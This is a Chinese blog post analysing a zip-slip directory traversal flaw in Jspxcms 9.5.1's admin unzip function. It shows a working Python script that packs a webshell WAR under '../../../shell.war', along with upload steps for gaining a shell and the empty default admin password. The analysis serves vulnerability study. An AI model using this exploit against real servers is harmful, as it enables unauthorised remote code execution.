Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析

Jspxcms 是企业级开源网站内容管理系统,支持多组织、多站点、独立管理的网 站群,也支持 Oracle、SQL Server、MySQL 等数据库。

Jspxcms-9.5.1 及之前版本的后台 ZIP 文件解压功能存在目录穿越漏洞,攻击者可以利用该漏洞,构造包含恶意 WAR 包的 ZIP 文件,达到 Getshell 的破坏效果

环境配置

在 MySQL 中创建数据库,字符集选择为utf8或者utf8mb4(支持更多特殊字符如表情字符 emoji,推荐)。
执行数据库脚本。数据库脚本在database目录下。

create database jspxcms;
use jspxcms;
source mysql.sql;

image-20231226151042978

找到 Tomcat 的安装目录,将 webapps 目录下 ROOT 文件夹删除(也可将webapps 目录下所有文件夹都删除)。建议使用干净的 Tomcat,不要部署其它应用。将下载包中的 ROOT 文件夹拷贝到 tomcat/webapps 目录下。

打开/ROOT/WEB-INF/classes/application.propertis文件,根据实际情况修改
spring.datasource.urlspring.datasource.usernamespring.datasource.password
的值。

image-20231226151540937

双击 tomcat/bin/startup.bat 文件启动即可

image-20231226152602981

漏洞分析

后台http://192.168.111.140:8080/cmscp/index.do admin 默认密码为空

使用 Burp Suite 进行抓包可以发现“解压文件”的接口调用情况

image-20231226154112539

该接口对应 jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/web/back/WebFileUploadsController.java 的 unzip 方法

image-20231226155010095

对 unzip 方法进行跟进,发现它的具体实现在/jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/web/back/WebFileControllerAbstractor.java 中。在对 ZIP文件进行解压时,程序调用了 AntZipUtil 类的 unzip 方法

image-20231226155524110

对 AntZipUtil 类的 unzip 方法进行跟进,可发现该方法未对 ZIP 压缩包中的文件名进行参数校验就进行文件的写入。这样的代码写法会引发“目录穿越漏洞”:

代码中使用 entry.getName() 获取 ZIP 条目的名称,并将其用作目标文件的路径

image-20231226161220395

漏洞利用

创建包含jsp webshell的war包:

image-20231226162902007

制作恶意 ZIP 文件

import zipfile 
if __name__ == "__main__":
    try:
        binary = b'test' 
        zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("test.zip")
        with open('shell.war', 'rb') as file:
            binary_data = file.read()
            zipFile.writestr("../../../shell.war", binary_data)
        zipFile.close() 
    except IOError as e:
        raise e 

image-20231226164701545

上传文件

image-20231226164726082

点击ZIP解压,shell.war就被解压到了webapps目录

image-20231226164816317

image-20231226164933407

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要部署JSPXCMS,首先需要下载Jspxcms源码包。Jspxcms是基于Java、JSP技术开发的国产开源CMS,是制作、维护网站的利器。国内的CMS主要以PHP技术为主,而基于Java、Jsp的CMS数量相对较少,但Jspxcms致力于做最好的Java CMS。 接下来,可以按照以下步骤进行部署: 1. 创建一个目录,例如"jspxcms"。 2. 将下载的Jspxcms源码包缩到该目录中。可以使用以下命令进行缩: ``` unzip jspxcms-9.5.1-release.zip ``` 这将会在当前目录下创建一个名为"jspxcms-9.5.1-release"的文件夹。 3. 可以将缩后的文件夹重新命名为"jspxcms",以便更方便地进行操作: ``` mv jspxcms-9.5.1-release jspxcms ``` 4. 进入"jspxcms"目录: ``` cd jspxcms/ ``` 5. 接下来,可以根据具体需求进行一些配置,例如数据库连接等。 6. 最后,可以将整个"jspxcms"目录部署到Tomcat服务器中,以便运行Jspxcms。Tomcat是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被广泛使用,也是开发和调试JSP程序的首选。 通过以上步骤,您已经成功部署了JSPXCMS,并可以在Tomcat服务器上运行它了。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [Jspxcms源码包 v10.1.0](https://download.csdn.net/download/weixin_38643269/14122729)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [Tomcat部署与JSPXCMS搭建](https://blog.csdn.net/weixin_46243253/article/details/110825235)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值